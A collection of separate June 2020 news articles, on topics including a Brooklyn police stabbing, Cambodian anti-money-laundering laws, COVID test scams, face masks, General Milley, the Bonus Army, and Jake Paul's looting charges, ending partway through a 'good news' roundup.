Dzenan Camovic, 20, allegedly stabbed NYPD officer Yayonfrant Jean Pierre on an anti-looting patrol in Brooklyn around midnight on Wednesday.

On Thursday authorities said they will investigate whether the stabbing was a terror-inspired attack.

Camovic is an immigrant from the Balkan region, believed to be either from Albania or Bosnia, who shared anti-police sentiments on his social media feeds.

A relative described him as a 'practicing Muslim' and 'absolutely not a terrorist'.

'Ive known him since he was six inches tall. That this is a terrorism, its illogical,' the relative who declined to share his name said to the New York Post.

Pictured: Dzenan Camovic, 20, allegedly stabbed a cop on anti-looting patrols in Brooklyn in the neck on Wednesday around midnight. Following a confrontation with police, two other cops were shot in the hand and arm. Camovic was shot eight times and is in critical condition

On Thursday, authorities said they will investigate whether the stabbing was a terror-inspired attack. Camovic is an immigrant from the Balkan region, believed to be either from Albania or Bosnia, who shared anti-police sentiments on his social media feeds

The New York Police Department on Thursday released an image of a knife that investigators claim was used to stab a police officer in Brooklyn late on Wednesday night

FBI JTTF arriving at the Brooklyn home of 20-year old Dzenan Camovic. Authorities are investigating whether the stabbing of an NYPD cop in Brooklyn by Camovic was a terror-inspired assault by an immigrant from the Balkans, according to sources and a report. pic.twitter.com/jIGtC0Ih2O  Joe Marino (@joemarino_) June 4, 2020

'He was raised here, [English] is his only languageHe was as good of a child as a child could be,' he added.

The relative was interviewed by federal terrorism investigators on Thursday and said that Camovic never expressed any anti-police sentiment to him.

The relative was seen speaking to two FBI agents outside Camovics Brooklyn apartment building where he lives with his parents and sister on Thursday afternoon.

'I have the utmost respect for law enforcement, but its easy to accuse a Muslim of terrorism. Its the first offense that comes to mind when someone mentions Muslim,' he added.

'He might have been attacked yesterday, it could have been provoked and he might have mentioned  like anyone would mention God  he might have said Allah, but no one knows. I just hope law enforcement will do their due diligence,' he said.

While Camovic wasnt on the radar of anti-terror investigators, he had been in contact with people who were and his family may have a nexus to terrorism, according to the Post.

Camovics relative cast doubt on the police account of the stabbing and cited the police killing of George Floyd in Minneapolis as proof that cops can instigate violence.

'I think they were also saying, African American man who was killed, that he also attacked. That he was also violent. This is how he got killed, and at the end of the day, we find out the truth,' he said.

Camovic's relative is now defending his name saying he is 'absolutely not a terrorist' and accusing the police of jumping to conclusions just because he is a practicing Muslim

An ambulance drives through the scene where two NYPD cops were shot and another stabbed in Brooklyn last night

NYPD cops swarm the scene in Brooklyn last night, after two of their colleagues were shot and another stabbed in the neck

Neighbor Christopher Song, 62, said he recognized Camovic after his picture was released in the news.

'He seemed like a quiet person, didnt bother anybody. For him to go up to a cop and stab him in the neckits insane,' he added.

In the Wednesday confrontation Camovic allegedly stabbed officer Jean Pierre then grabbed another cop's gun, which discharged during a struggle. In the end two officers were allegedly shot in the hand and arm.

Camovic was shot eight times, leaving him in critical condition.

A total of 22 shots were fired, according to authorities.

All three officers are recovering from non-life threatening injuries at Kings County Hospital in Brooklyn.

Governor Andrew Cuomo (seen above in Albany on Wednesday) spoke out in support of the New York Police Department on Thursday

On Thursday New York Governor Andrew Cuomo the NYPD for their quick action in stopping Camovic.

Cuomo says the ambush shows the difficult balance police must strike in keeping the peace.

'They have an impossible job, and they need support,' Cuomo told Long Island News Radio.

'They're out there, they're getting hurt, last night again, they are the best, they are the best. God bless them because I don't know that I would want to do the job that they're doing now.'

Cuomo's comments came days after he drew some criticism for saying some NYPD officers had exacerbated tensions during recent George Floyd protests with 'very disturbing actions.'

On Tuesday, the governor privately apologized to the NYPD's senior leadership for describing the force's response to the rioting in New York City as a 'disgrace.'

During his daily coronavirus press briefing on Tuesday, Cuomo was asked about the scenes of mass looting in parts of Manhattan from the night before.

The governor urged the NYPD to 'do your job' and to put a stop to the unrest.

'The police must stop the looting and the criminal activity,' the governor said.

'That is the essence of the police force. They are supposed to protect the community, protect the property.'

Cuomo added that he was 'disappointed and outraged.'

The FBI announced on Thursday that it is 'fully engaged' in the investigation

Police gather at the scene where two New York City police officers were shot in a confrontation late Wednesday evening in Brooklyn in New York City

A couple watch as police gather at the scene where two New York City police officers were shot in a confrontation late Wednesday evening in Brooklyn in New York City

Sources told WNBC-TV that Camovic, who has no criminal record, 'may have been associated with individuals of concern.'

'The FBI New York office is fully engaged. We respond as if one of our own was attacked, and we will use every federal statute available to hold the perpetrator accountable.'

The FBI's Joint Terrorism Task Force has also joined the probe, according to WNBC-TV.

The bloodshed happened just before midnight in the hours after an 8pm curfew that was intended to quell unrest over the death of George Floyd in Minnesota.

'What we know at this point and time is that it appears to be a completely, cowardly, despicable, unprovoked attack on a defenseless police officer and thank God we aren't planning a funeral right now,' said Shea.

The bloodshed Wednesday night happened a block away from a place where demonstrators and police engaged over the weekend in an hours-long standoff, during which a police car was burned and protesters beaten with batons. (Pictured: Protesters gather outside the NYC mayor's residence Wednesday)
The National Assembly passed two legislations on Thursday to tackle money laundering, terror funding and the financing of weapons of mass destruction, a month after the European Commission added Cambodia as a high-risk third country for illicit money flows.



The assembly, composed exclusively of Cambodian Peoples Party lawmakers, voted unanimously to pass both legislations without any amendments proposed during the session. The bills were passed by 119 lawmakers, in the absence of Prime Minister Hun Sen.



For Cambodia, we had not fulfilled all conditions required by this organization [APGML]. Sometime our efforts were recognized while some other time we were considered deficient that our rating turned grey, Sar Kheng told the parliament. This is the problem.

Sar Kheng was referring to the Asia Pacific Group on Money Laundering, which is part of the global money laundering body Financial Actions Task Force (FATF). The deputy prime minister said the law would address weaknesses raised by the regional groups assessments into the Kingdoms anti-money laundering attempts.

Last February, the FATF downgraded Cambodia to their grey list for its failure to prevent the flow of illicit money both into and out of the country, with such a classification affecting the countrys ability to access international financial systems.

The draft laws give more power to governmental bodies, including the central banks Financial Intelligence Unit and relevant ministries, and to the courts to freeze, obstruct, and confiscate assets suspected or linked to money laundering or the financing of terror activities and weapons of mass destruction proliferation.

Money laundering crimes will carry up to five years in prison and 20 years for terror financing, with convictions for WMD proliferation carrying up to 15 years in jail.



The draft gives the government jurisdiction over money flows from financial institutions, real estate firms, non-governmental organizations and politically-involved individuals.

It was the inclusion of this last category of individuals, those who are politically involved, raised eyebrows among experts, with National Assembly members wasting little time to reveal their intentions with the law.

Battambang lawmaker Chheang Vun said the laws should be used to safeguard the government against revolt, economic terrorism and political terrorism by the outlawed Cambodia National Rescue Party to overthrow the regime.

Financing of political plots to seize power using non-electoral means is a serious act of terror that shall receive zero tolerance no matter which country you want to talk about, Chheang Vun said.

Banteay Meanchey CPP lawmaker Serey Kosal chose to question the political intentions of international assessments made by the European Commission and FATF, adding that there were a lot of domestic and foreign worms who were constantly attacking the government.

They could be opportunists, said Serey Kosal animatedly. After we pass these laws we somehow are still in the grey [list] and it can turn black when the elections are near. We have to be mindful about hostile [forces].



Serey Kosal also made a thinly-veiled reference to former opposition leader Sam Rainsys attempted return to the country last November, for which Serey Kosal said supporters had raised $300,000 to finance the event. The lawmaker alleged this was illicit money and should be targeted with the new laws.

Daniel Ferrie, a spokesperson for the banking and financial services department at the European Commission, said the bloc has reevaluated its own lists based on FATFs view of Cambodias strategic deficiencies. He did welcome the new legislations.

We welcome any progress in implementing measures foreseen by the FATF action plan, Daniel Ferrie said. As a FATF member, the Commission will monitor progress made by Cambodia in implementing the FATF action plan. Delisting by FATF is a pre-requisite for being removed from the EU list.

Pech Pisey, executive director of Transparency International Cambodia, said the drafting and legislating process lacked inclusive consultations from relevant stakeholders, including the academia and the civil society organizations, adding that he had not seen the draft laws since his request for their contents was turned down by the government.

If there was a broader and more inclusive participation to provide inputs that would bring betterment because we would be able to provide our constructive inputs to make sure it would be up to international standards deemed acceptable by both the EU and the FATF, Pech Pisey said.

The law will head to the Senate, again exclusively controlled by the CPP, after which it will head to the King for promulgation.
Peel Regional Police have announced plans to begin the process of implementing body worn cameras.

The Peel Police Services Board said Friday that it has asked police chief Nishan Duraiappah to prepare a report in time for the Peel Police Services Board meeting on June 26, with options regarding how to implement the body cameras.

As a Board, we welcome opportunities to strengthen police accountability while ensuring greater community safety and well-being, said police services board chair Ron Chatha in a news release. Todays decision will ensure the Board and the Chief will collaborate on the implementation of body worn cameras with the aim of making a decision at our next Board meeting on June 26th.

This comes after an emergency meeting to discuss how Peel police can take action to preserve the public trust while at the same time allowing police to do their jobs effectively, according to the release.

There has been mounting pressure from activists as well as the mayors of Mississauga and Brampton in wake of the recent anti-racism protests and high-profile deaths.

In April, Peel police fatally shot DAndre Campbell at a residence in Brampton after officers with reports of a domestic incident. Body cameras were not present to record what happened to Campbell, who had struggled with mental illness.

In Toronto, police chief Mark Saunders has called the falling death of Regis Korchinski-Paquet from a High Park apartment residence in May during an encounter with police a textbook case as to why body cameras are necessary and has vowed to fast-track equipping Toronto police officers with the devices.

With files from Wendy Gillis

TY Tom Yun is a breaking news reporter, working out of the Stars radio room in Toronto. Follow him on Twitter: @thetomyun

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Beware of false and misleading statements about coronavirus-related tests.

Thats the warning from the states attorney generals office and the Division of Consumer Affairs, which said it has received reports of deceptive practices as diagnostic testing for COVID-19 and testing for coronavirus antibodies, which determine if you were previously infected, are more widely available.

As public access to COVID-19 and COVID-19 antibody testing increases, so do opportunities for unscrupulous individuals to make money by exploiting peoples confusion and fears, Attorney General Gurbir Grewal said in a statement.

Were urging consumers to do their homework, understand the types of tests being marketed, and recognize what those tests can and cannot do, so they dont fall victim to false promises and outright scams.

Last week, Consumer Affairs sent cease-and-desist letters to a Morris County health club and a Passaic County dentist warning them against making false or misleading claims in the sale of antibody, or serological, tests for COVID-19, the state said.

Because the two investigations and others that are ongoing, the agency said it is not releasing the business or individuals names.

In the case of the Morris County health club, the warning letter said Consumer Affairs received information that the club made advertising misrepresentations about antibody testing that its making available to its members.

The letter noted that the health clubs advertising stated that serological tests can determine `if someone has already contracted the virus and, thus, has developed the antibodies to prevent contracting it again,' the statement said.

But, it said, that appears to be misleading because a person may have contracted the virus but not yet developed antibodies that would result in a positive antibody test, and because it has not been established whether the presence of COVID-19 antibodies conveys immunity, and, if so, for how long.

CORONAVIRUS RESOURCES: Live map tracker | Newsletter | Homepage

In the case of the Passaic County dentist, Consumer Affairs said it received information that the dentist also made misrepresenting statements about antibody tests.

The advertising stated that medical practitioners can determine that a patient, upon testing positive for a particular antibody, is `now clear, they have the antibody, theyre safe,' Consumer Affairs said. The statement appears misleading because it has not been established whether the presence of COVID-19 antibodies conveys immunity, and, if so, for how long, or whether someone with antibodies would not be able to spread the virus.

In the letters, the state said: Misinformation of this nature has the potential to provide false security to individuals and contribute, in the aggregate, to widespread public harm, and also violates New Jerseys Consumer Fraud Act.The state also warned consumers to watch out for outright scams related to testing.

Nationwide, individuals and entities are taking advantage of the burgeoning testing market by selling tests that havent been approved by the FDA and may not provide accurate results; going door-to-door and performing fake tests for money; and by purporting to offer free virus test kits in an effort to collect consumers personal and health insurance information, it said.

The state said it has also received reports that scammers posing as contact tracers are texting New Jersey residents with messages saying they came in contact with someone who had COVID-19. The text messages ask people to follow links and then try to get them to reveal their personal information, the state said.

Unfortunately, where theres money to be made, scammers, con artists, and identify thieves are never far behind, Paul Rodriguez, acting director of Consumer Affairs, said.

Rodriguez said legitimate contract tracers will never ask for Social Security numbers, insurance information, bank or credit card numbers.

The state offered five tips to avoid test-related scams:

1. Talk to your doctor or pharmacist if you want a test. Your healthcare provider will help you figure out if a test is covered by insurance and help you find a legitimate clinic.

2. Do research before buying: Dont let scammers pressure you to rush into a decision about testing. Before you agree to anything, do some investigating. Check the FDA website to verify claims that a test has have been approved by the FDA or has received an emergency use authorization issued by the FDA, the state said.

3. Understand your options: The Center for Disease Control and Prevention has a detailed guide to testing for COVID-19.

4. Dont share your personal information with strangers. Keep your information private unless you know its a company you can trust.

5. Know what a legitimate contact tracing interview entails: You can learn more about contract tracing at the N.J. Department of Healths Contact Tracing for COVID-19 webpage.

Thank you for relying on us to provide the journalism you can trust. Please consider supporting NJ.com with a voluntary subscription.

Karin Price Mueller may be reached at bamboozled@njadvancemedia.com.
To wear a mask or not to wear a mask, that is the question. We're used to seeing people in cities like Tokyo, Seoul and Hong Kong wearing face masks - even before the coronavirus pandemic.

The use of face coverings in East Asia dates back to the early 1900s in response to the pneumonic plague in 1910 and the 1918 flu pandemic, which swept through the likes of India and China.

The public practice was forged further as Sars, another lethal coronavirus, spread through the region in 2003, with deadly consequences.

So, as Covid-19 pummelled through Asia at the start of the year, it wasn't surprising that people there were queuing up to buy face masks.

In April, it even became compulsory for anyone leaving the house in Singapore to wear a face mask.

Five months into the pandemic, however, and the jury is still out in Northern Ireland.

This week, our Chief Scientific Adviser, Professor Ian Young, spoke out on the subject and recommended the use of face masks when people are out and about.

"I would like to see a lot more people wearing masks," he said, addressing the Stormont health committee on Wednesday. "I'm almost the only person wearing a mask when I'm in the supermarket.

"People should be wearing a cloth face covering when they're in an enclosed location."

Certainly, Prof Young isn't wrong in his assessment that people wearing face coverings are in the minority.

So, why is this?

Looking back to the beginning of the pandemic, the official advice steered people away from using face coverings.

And as we saw healthcare staff appealing for crucial personal protective equipment, it seemed preposterous to suggest that members of the public might divert such a valuable resource away from the frontline.

There were also concerns that face coverings could lull people into a false sense of security and actually put them more at risk of catching the virus.

The World Health Organisation (WHO) has produced guidance on public mask use, which makes this very point.

"It is possible that mask use, with unclear benefits, could create a false sense of security in the wearer, leading to diminished practice of recognised beneficial preventive measures, such as physical distancing and hand hygiene," it warns.

The fact is that covering your mouth and nose creates a barrier that reduces potentially infected droplets from getting into the atmosphere.

It doesn't mean you have to deprive the NHS of surgical masks - a piece of material is sufficient to do the job.

But there are caveats.

Face coverings are

not a catch-all solution - regular hand-washing is also essential, and it is important that masks are used properly.

Curiously, it is often the people you see wearing masks who don't adhere to social distancing measures.

Yet, it is generally accepted that masks are more useful in protecting people around them, as opposed to preventing the wearer from the virus.

According to the WHO advice, non-medical, or cloth, masks could increase the potential for Covid-19 to infect a person if the mask is contaminated by dirty hands and touched often, or kept on other parts of the face or head and then placed back over the mouth and nose.

So, what is the position of the WHO in relation to the use of masks by the public?

It says there is currently no evidence for or against the use of masks for healthy individuals in the wider community.

The WHO continues to recommend that medical masks be worn by individuals who are sick or those caring for them. That's not to say its position on the matter won't change in the future.

Like so many things with this novel coronavirus, what we know about Covid-19 - how it affects the body, who is most susceptible, the incubation period - is constantly changing.

The WHO has said it is "actively studying the rapidly evolving science on masks and continuously updates its guidance".

For now, the use of face masks in Northern Ireland isn't mandatory, although Prof Young is the latest person to recommend they are used.

Last month, Health Minister Robin Swann spoke out after a meeting of the Executive and said members had agreed to recommend that members of the public consider the use of face coverings for short periods in enclosed spaces, where social distancing isn't possible.

Crucially, he, too, referred to the potential issues associated with face coverings and reminded people to also adhere to hand hygiene.

As it stands, and in spite of the comments from the likes of Mr Swann and Prof Young, face coverings are not being commonly used in Northern Ireland.

Moving forward, that might change. The number of positive Covid-19 cases is starting to drop, the number of people fighting for their lives in intensive care units is reducing and Covid-19 deaths are also falling.

As the curve is finally starting to flatten, the experts are developing strategies for Northern Ireland to exit from lockdown as safely as possible.

The fact is, we can't stay in our homes indefinitely. Life isn't going to return to normal any time soon, but we are starting to see glimpses of our pre-Covid lives.

Shops are pulling up their shutters, plans are under way to reopen hotels, principals are looking at how to bring their pupils back to school.

But, as we all know, social distancing has played a key role in keeping people alive, so as more people start coming into contact, the risk is there that infection rates will start to rise again.

It is our responsibility that we do everything we can to stop that from happening.

We now know that Prof Young, a member of the UK Government's Sage committee, is a fan of face masks in playing a role in keeping infection rates down, so it seems that wearing a face covering might just be part of the answer.

However, if we want the public to follow Prof Young's lead by wearing face coverings in public, it is absolutely critical that we also make them aware of the limitations, so we get the maximum benefit.

Lisa Smyth is a freelance journalist specialising in health matters
WASHINGTON  Gen. Mark A. Milley was never meant to be President Trumps top military adviser.

Defense Secretary Jim Mattis had sent him to the White House in late 2018 to interview for the top American military post across the Atlantic, with its grand title: supreme allied commander Europe. Mr. Mattis wanted someone else, the quiet and cerebral Gen. David L. Goldfein of the Air Force, to be Mr. Trumps next chairman of the Joint Chiefs of Staff.

With the president souring on Mr. Mattis, his recommendation quashed General Goldfeins chances. During the meeting, the president  who already liked General Milleys brash demeanor as Army chief of staff  asked which job was better. And General Milley went for the top prize: by law, the chairman of the Joint Chiefs of Staff is the nations top officer and the senior military adviser to the president.

But in the last several days, after accompanying the president from the White House to a church in his camouflage uniform as National Guard troops in helmets and riot gear deployed across the country, General Milley has quickly become the face of what could amount to the American militarys fall from public grace, to levels not seen since the Vietnam War.

Milley (hes a general !?!?) should not have walked over to the church with Trump, Michael Hayden, the retired Air Force general who has directed both the National Security Agency and the C.I.A., said on Twitter, noting that he was appalled to see him in his battle dress.
(Bloomberg Opinion) -- Herbert Hoover is best known for his role in worsening the Great Depression, but his fateful decision to use the military against ordinary citizens in the summer of 1932 was a self-inflicted wound that arguably marked the beginning of the end of his presidency. Its an episode worth recalling as President Donald Trump and other Republican leaders seem hellbent on sending federal troops against protesters.

By the spring of 1932, unemployment had spiked to record highs. Among the dispossessed were veterans of World War I. As a condition of their service, these men had been promised a bonus pegged to the length of their service, but it wasnt due to start until 1945.

Declaring themselves the Bonus Expeditionary Army, or BEF, the veterans marched on Washington to demand immediate payments. By early summer, at least 20,000 of them, along with their families, were living in shantytowns around the city.

They scored a victory when the Democratic-controlled House of Representatives passed a bill releasing the bonus, but Senate Republicans blocked it. Rather than accepting defeat, thousands of protesters dug themselves in.

Hoovers attorney general, William Mitchell, was less than sympathetic. Indeed, he claimed that the BEF was actually the largest aggregation of criminals that had ever been assembled in the city at any one time, including communists hellbent on overthrowing the government.

Persuaded, Hoover ordered the Army to join the Washington police in pressuring the largest encampment  across from the Navy Yard in Anacostia. The military leader given this job, Douglas MacArthur, was headstrong, impetuous and insubordinate. Though he was close to Hoover, MacArthur had a barely disguised contempt for civilian leadership. He quickly took matters into his own hands.

As Hoover announced that the troops would put an end to rioting and defiance of civil authority, MacArthur marshaled five tanks, a detachment of machine gunners, more than 200 mounted cavalry on horseback, and hundreds of infantrymen bearing rifles and bayonets. Several thousand additional troops waited in reserve. MacArthurs subordinates included Dwight Eisenhower, who raised concerns about the wisdom of moving so aggressively against the protesters. Another deputy, George S. Patton, showed no misgivings.

Story continues

As they moved down Pennsylvania Avenue during rush hour, the troops began clearing buildings occupied by remnants of the Bonus Army. Veterans and their families tried to evade bayonet-wielding troops and clouds of tear gas. Onlookers cried, Shame! Shame!

The American flag means nothing to me after this, a man reportedly yelled at MacArthur.

Rather than ignore the swipe, MacArthur threatened to arrest him. Then he and his troops moved across the bridge to Anacostia. Instead of following Hoovers orders to simply surround the encampment, MacArthur led a direct assault. As tear gas rained down on the veterans, they fled in terror, wives and children in tow. The troops then trampled and burned the shantytown to the ground, driving the Bonus Army out of the nations capital in the middle of the night.

Hoover defended his insubordinate general despite newsreel footage that began screening in cinemas across the country. A number of politicians began expressing unease. Use of federal troops against unarmed veterans, whether prompted by cowardice or stupidity, was an unpardonable outrage, said Senator Bronson Cutting, a Republican from Utah.

Some newspapers put the matter more bluntly. The Washington News deplored the pitiful spectacle of watching the great American Government, mightiest in the world, chasing unarmed men, women and children with army tanks. Others, like the San Francisco Examiner, described the overwhelming  and utterly unnecessary  use of force as without parallel in American annals. And Franklin Roosevelt, upon hearing the news, reportedly told his advisers: Well, this elects me.

But public opinion did not instantly turn against Hoover. His claim that the Bonus Army was really a front for communist agitators proved convincing  until a grand jury for the District of Columbia failed to find evidence to back it up. Mitchell began drafting a deeply dishonest report to shore up the presidents case.

It backfired, spectacularly. The chief of police in Washington flatly disputed the report, and the the American Legions convention, a crucial gathering of veterans on the presidents re-election calendar, turned into a rebellion. Things quickly went from bad to worse after the secretary of war claimed that the soldiers had not set fire to the veterans makeshift shacks  despite the fact that footage showed them methodically doing so. As the New Republic observed, even a child could see through the ruse: Mamma, the man isnt telling the truth.

Having lied about what happened, the administration found itself powerless against political opponents who began spinning the story in even darker directions. The Nation published a column titled Tear-Gas, Bayonets, and Votes that accused Hoover of attacking the Bonus Army in order to deflect the countrys attention from the Great Depression.

This may or may not have been true, but Paul Y. Anderson supplied details that were patently false: a baby hospitalized from exposure to gas; a veterans ear severed by a sword; a boy blinded by gas. These lurid details soon circulated widely, as did the claim, first raised by Mayor James Curley of Boston, that Hoover had ordered the troops to shoot the veterans like dogs. Having already squandered his credibility, Hoover was powerless. He lost control of the narrative.

Hoover probably would have lost the election regardless of how he handled the Bonus Army. But the incident became a defining moment of his presidency, one that long outlived the election of 1932. It became a staple of Democratic stump speeches, and the image of an out-of-touch Hoover sending tanks and machine guns to evict homeless veterans and their families became part of the Republican Partys unwanted baggage for years to come.

In his memoirs written years later, Hoover complained bitterly about what happened. A large part of the veterans believe to this day that men who served their country in war were shot down in the streets of Washington by the Regular Army at my orders. He was dogged by these charges for the rest of his life. Our current president, so smitten with strongman tactics, might learn from Hoovers lasting frustration: Sending in the troops against Americans is rarely as easy as it sounds.

This column does not necessarily reflect the opinion of the editorial board or Bloomberg LP and its owners.

Stephen Mihm, an associate professor of history at the University of Georgia, is a contributor to Bloomberg Opinion.

For more articles like this, please visit us at bloomberg.com/opinion

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In the wake of Coronavirus pandemic and its socio-economic impact globally, over 14,000 active students are enrolled for 47 different courses across emerging technologies such as cloud computing, artificial intelligence and many more at the virtual NITDA Academy.

The academy, an initiative of the National Information Technology Development Agency (NITDA) was launched by the Minister of Communications and Digital Economy, Isa Pantami, last month.

NITDA Director General, Kashifu Abdullahi, disclosed this at a Virtual Conversation organised by the Association of Telecommunication Companies of Nigeria (ATCON) on the Socio-Economic and Political Impact of COVID19 on Telecom and ICT sector in Nigeria.

The event was well attended by key stakeholders within and outside the shores of Nigeria, as they deliberated on how the Coronavirus crisis affected the economy and ways to cope with the impact using ICT.

Mr Abdullahi said it was under the directive of the Minister for Communications and Digital Economy that the Agency conceptualised, executed and launched a NITDA Virtual Learning platform with the aim to help engage young citizens to spend their time meaningfully and learn new technologies that will help create and shape the post-COVID era.

Despite the effect of the virus in all sectors, Mr Abdullahi remains hopeful the crisis, which forced people to change behaviour and adapt to new habits, will soon become a thing of the past.

Coronavirus has forced us to change our behaviour and adapt to new habits. New trends have emerged, we do everything remotely; working, learning, meeting, workshops, zoom party, e-wedding, and so on, he noted.

The DG averred that NITDA has successfully organised various programmes, which among others is COVID-19 Innovation Challenge designed to help in thinking within the box and come up with ideas that can contain and cushion the effect of the virus as well as keep the economy up and running.

We are working with the Presidential Taskforce on COVID-19 and Nigerian Centre of Disease Control (NCDC) to identify some of the ideas they think are relevant for them, so they can be used as a testing ground to help these start-ups develop their ideas into products,, he said.

He added that, the Challenge had over 2000 applicant and 5 start-ups were selected for pitching at the Open Demo and Prize Giving Day; three of them emerged winners and went home with their prizes.

Mr Abdullahi said that it is part of the Agencys initiatives to identify youths with innovative ideas, take them to innovation hubs, incubate and accelerate their ideas into a product or services through NITDA Technology Innovation and Entrepreneurship Support Scheme.

He said part of the recommendation of the Tech for COVID19 covers what we do, and we are working with relevant stakeholders to identify hubs as well as start-ups that can enjoy this initiative.

Commenting on using new technologies in farming, the DG stated that the Nigerian Adopted Village for Smart Agriculture (NAVSA), will encourage farmers to focus more on digital platforms and precision smart farming.

To ensure significant improvement in crop yield, quality of farm produce, efficiency and productivity, increased profit margin, harvest focus, sales of farm produce and eco-friendly agricultural practice. We are working with 150 farmers to start the pilot project, because the agriculture value chain contributed the highest percentage to our GDP and ICT as an enabler can help boost its projection, he added.
Police in Scottsdale, Ariz., charged YouTuber Jake Paul on Thursday with criminal trespass and unlawful assembly connected with the looting of a mall that occurred Saturday night amid a wave of protests across the nation calling for justice in the death of George Floyd. Both charges are misdemeanors.

We "received hundreds of tips and videos identifying [Paul] as a participant in the riot," the Scottsdale Police Department told The Washington Post in a statement. "Our investigation has revealed that Paul was present after the protest was declared an unlawful assembly and the rioters were ordered to leave the area by the police. Paul also unlawfully entered and remained inside of the mall when it was closed."

Paul did not respond to The Post's request for comment. He has been "issued a summons to appear in court in a month," Sgt. Ben Hoster told The Post.

A series of videos showing the 23-year-old YouTube star at the Scottsdale Fashion Square mall began circulating on the internet after his videographer Andrew Blue posted them as an Instagram story (which means they disappeared after 24 hours). They showed Paul, wearing a mask and wandering around the mall as looters smashed store windows and, in one instance, broke the windows of a car on display.

It is unclear if Paul participated in the looting or vandalism.

In one video, Paul said he took part in protests earlier and was tear-gassed by police officers, whom he called "idiots."

The video immediately sparked controversy, a constant companion of Paul's, as social media users accused him of taking advantage of the protests to gain attention, with one user calling him the "EPITOME OF WHITE MALE PRIVILEGE" who is "CREATING CHAOS JUST FOR CONTENT."

Paul sent out a statement the day after the videos surfaced in which he denied any charges of looting or vandalism and said, "I do not condone violence, looting or breaking the law; however, I understand the anger and frustration that led to the destruction we witnessed and while it's not the answer, it's important that people see it and collectively figure out how to move forward in a healthy way."

On Wednesday, he posted a YouTube video titled "The looting situation explained. (deleting soon)," which has racked up more than 1 million views.

"People were mad at me because they assumed that me and my friends were looting, vandalizing and breaking down store fronts," he said, denying it.

Throughout the video he decried the death of George Floyd and "police brutality" and claimed he was only in the mall to document the looting.

"I wanted to use my platform and film what was going on and what is going on in our country as we speak," he said, adding, "I've always tried to use my platform to raise awareness for things that I believe in. It personally upsets me when people have the power to make a difference, and they don't."

"This situation, to me, felt no different than when I went down to help with the hurricanes in Houston to when I went to Parkland, Fla., to be ground-floor with the students there after they had a horrific school shooting," he said at one point.

These videos certainly have one thing in common: They all place Paul at the center of a controversy that serves to bolster his follower count.

As The Post recently reported, "When Hurricane Harvey devastated the Houston area in 2017, he and his crew drove to the city to 'save thousands of lives.' . . . The resulting trip was something of a disaster, as he invited his fans to gather in a Walmart parking lot to help him fill two U-Haul trucks - without consulting the store. More than a thousand fans showed up.

"A year later, after the shooting at Marjory Stoneman Douglas High School in Parkland, Fla., that killed 17 people, Paul visited the town and came up with a five-point plan to end school shootings."

Wednesday's video - in which he said "I'm an easy target. I know I am. It sucks." - didn't go over well on social media.

"I have never hated Jake Paul as much as I do today," tweeted Daniel Keem, a fellow YouTuber who posts as Keemstar. "He owed everyone an apology for his actions & instead he make excuses & virtue signaling to cover up his bs. If he is innocent as he claims then release alll the raw footage to prove it. [sic] You can't, you won't, cus you lie!"
Weve kept her safe, but this is injustice that calls us out. We want to stay in to stay safe, but were not safe when innocent black men and women are murdered in the street or in their home, she said. The anger and frustration of more than 400 years of injustice to black people in this country has become too much. Its been too much.
Hong Kong: Patrick Nip visits Police

Secretary for the Civil Service Patrick Nip visited the Police Force today to learn more about the use of technology in police investigations and meet staff to exchange views on matters of concern.

Accompanied by Deputy Commissioner of Police (Management) Kwok Yam-shu, Mr Nip visited the Crime Support Group and was briefed on the Major Incident Investigation & Disaster Support System's functions and operation.

The system is used mainly in large-scale incident investigations, victim identification in disasters and epidemic case analyses.

Mr Nip was interested to learn more about how Police make use of the system to assist the Centre for Health Protection in tracing sources of infection and contact tracing for confirmed cases during the COVID-19 epidemic.

He then proceeded to the Cyber Security & Technology Crime Bureau for an update on its work in combating technology crime and safeguarding cyber security in Hong Kong.

Mr Nip also toured the Cyber Range, which is equipped with advanced training management systems to facilitate team-based simulation exercises on cyber defence in a virtual environment. The range helps enhance the force's capabilities in detecting cyber threats and handling cyber security incidents.

The civil service chief thanked police colleagues for their dedication and professionalism in coping with the challenges arising from social incidents during the past year and the COVID-19 epidemic.

Wrapping up his visit, Mr Nip met staff representatives of various grades and conveyed his warmest regards to police officers who were attacked and sustained injuries in last years social incidents.

He also encouraged Police to stand fast and protect public safety.

This story has been published on: 2020-06-05. To contact the author, please use the contact details within the article.
As some parts of the world continue to battle the deadly coronavirus, protests prevailing against racial discrimination and other unforeseen challenges that have emerged in 2020, it has fueled conversations around mental health and anxiety. With many countries still under lockdown, millions of people are confined to their homes consuming news filled with negativity of the global health crisis.

Even Google recently revealed that searches for Good News that prove to be invigorating have spiked during these months. Here is a compilation of unique news stories that will "uplift" your mood. From a pizza mystery in Belgium to man rescuing baby deer, these are five best from today.

Video of 'best friends'

A visual tale of an incredible bond between two animals in Australia has won the hearts of thousands of people on the internet. The recently posted video clip features Elsa, a koala and its best friend Hope, a wombat. According to reports, their relationship began after the wombat started visiting Elsas cage for new leaves. As days passed, they both started seeing each other every day, even after the park reopened for visitors.

Read - Australia: Video Of 'best Friends' Elsa And Hope Leaves Netizens Overjoyed

Mumbai Cop saves life of 14-year-old

A heartening story of a Mumbai Police cop who saved the life of a 14-year-old girl undergoing open-heart surgery by donating blood is winning the internet. On June 3, when Cyclone Nisarga made landfall in Maharashtra around 12 pm it caused the uprooting of trees and other damages to public property, no eligible person was able to reach the girl in dire need of A+ blood at the Hinduja Hospital.

This is when constable Akash Gaikwad stepped up for the cause and provided help. The wonderful story was shared by Mumbai Commissioner of Police Shri Param Bir Singh who called Gaikwads commitment towards saving lives, A+. In the post, Singh shared the image of the constable donating blood and said that Mumbai Police wishes a speedy recovery for the 14-year-old.

Commitment Level: A+



A 14-year old needed blood group A+ to undergo an open heart surgery.



When friends or family could not make it to the hospital due to #CycloneNisarga, PC Aakash Gaikwad donated blood.@MumbaiPolice wishes the young girl a healthy life ahead!#MumbaiFirst pic.twitter.com/nxiQLHQIoR  CP Mumbai Police (@CPMumbaiPolice) June 4, 2020

Read - Mumbai Cop Lauded For Donating Blood To Help 14-year-old Undergoing Heart Surgery

Man rescues drowning baby deer

The video of the rescue was shared by Liz Ballard, wife of Brian Ballard, who pulled out the baby deer from the water and gave it CPR. In the video, Brian along with another man can be seen giving the animal chest compressions following which the deer begins to breathe on its own. Brian then asks the man to take the deer to a rehabilitation centre. The video since being shared on Facebook on June 3 has garnered over 68,000 views and more than 390 shares. Netizens are lauding the Ballard family for the incredible rescue with some even calling them heroes for doing the right thing.

Read - Good News: Man Rescues Drowning Baby Deer In Texas, Watch Video

'Rainbows are circles'

